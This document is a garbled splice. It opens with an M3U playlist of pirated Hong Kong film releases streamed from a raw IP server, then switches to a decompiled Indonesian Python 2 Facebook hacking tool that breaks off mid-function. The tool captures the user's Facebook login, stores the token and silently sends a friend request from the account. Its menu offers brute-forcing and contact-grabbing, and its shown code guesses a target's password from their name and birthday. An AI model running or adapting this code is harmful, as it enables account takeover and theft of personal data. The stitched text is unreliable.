Election.2005.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/620.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Enter.The.Fat.Dragon.2020.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/621.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Exiled.2006.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/622.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Fallen.Angels.1995.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/623.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Fist.Of.Fury.1991.1991.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/624.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Game.Of.Death.1978.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/625.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ghost.Net.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/626.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Gorgeous.1999.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/627.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Iceman.2014.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/628.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", In.The.Line.Of.Duty.IV.1989.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/629.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ip Man 2.2010.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/630.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ip Man 2008.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/631.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ip.Man.3.2015.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/632.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Iron.Fisted.Monk.1977.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/633.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Iron.Monkey.1993.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/634.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Kung.Fu.Traveler.2017.720p.WEBRip.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/635.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Legend.Of.The.Fist.2010.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/636.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Look.Out,.Officer!.1990.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/637.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Naked.Ambition.2.2014.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/638.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Naked.Weapon.2002.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/639.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Once.A.Thief.-.Kerran.Varas,.Aina.Varas.1991.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/640.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Operation.Condor.1991.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/641.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", P.Storm.2019.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/642.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Paradox.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/643.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Police.Story.1985.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/644.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Police.Story.2.1988.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/645.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Prison.On.Fire.1987.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/646.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Protege.2007.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/647.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Rob-B-Hood.2006.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/648.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Shaolin.Soccer.2001.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/649.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", She.Remembers.He.Forgets.2015.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/650.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Shinjuku.Incident.2009.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/651.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Shock.Wave.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/652.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Spiritual.Kung.Fu.1978.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/653.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Swordsman.II.1992.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/654.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ten.Years.2015.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/655.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The Legend Is Born Ip Man 2010.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/656.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.36th.Chamber.Of.Shaolin.1978.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/657.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Accidental.Spy.2001.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/658.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Adventurers.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/659.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Eight.Immortals.Restaurant.The.Untold.Story.1993.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/660.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Human.Goddess.1972.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/661.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Legend.of.Drunken.Master.1994.720p.BluRay.x264.[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/662.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Way.Of.The.Dragon.1972.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/663.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Throw.Down.2004.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/664.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Tracey.2018.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/665.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Triad.Wars.2008.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/666.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Twin.Dragons.1992.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/667.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Winners.&.Sinners.1983.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/668.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Always Be With You 2017 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1063.mp4 Tidak berjudul.txt Menampilkan Tidak berjudul.txt.
Myhadi
#decompiled by PDM31 import os, sys print '\x1b[1;32mSudah punya ID dan Password nya?' print '\x1b[1;32mSilahkan Login ' import os, sys def wa(): os.system('xdg-open https://api.whatsapp.com/send?phone=6281291977644&text=Assalamualaikum') def restart(): ngulang = sys.executable os.execl(ngulang, ngulang, *sys.argv) user = raw_input('ID: ') import getpass sandi = raw_input('Password: ') if sandi == 'indoxploit' and user == 'Borot': print 'Anda Telah Login' sys.exit else: print 'Login GAGAL, Silahkan hubungi ADMIN' wa() restart() import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Keluar' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMr. Borot\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttp://indoxploit.id/\x1b[0m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idteman = [] idfromteman = [] idmem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('reset') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open http://indoxploit.id/') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Login Gagal' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: os.system('reset') print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Tidak ada koneksi' keluar() os.system('reset') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. Informasi Pengguna' print '\x1b[1;37;40m2. Hack Akun Facebook' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Lainnya.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Keluar ' print pilih() def pilih(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Jangan kosong' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open http://indoxploit.id') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' pilih() def informasi(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mTidak ada' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() def menu_hack(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Ambil id/email/hp' print '\x1b[1;31;40m0. Kembali' print hack_pilih() def hack_pilih(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Jangan kosong' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' hack_pilih() def mini(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ 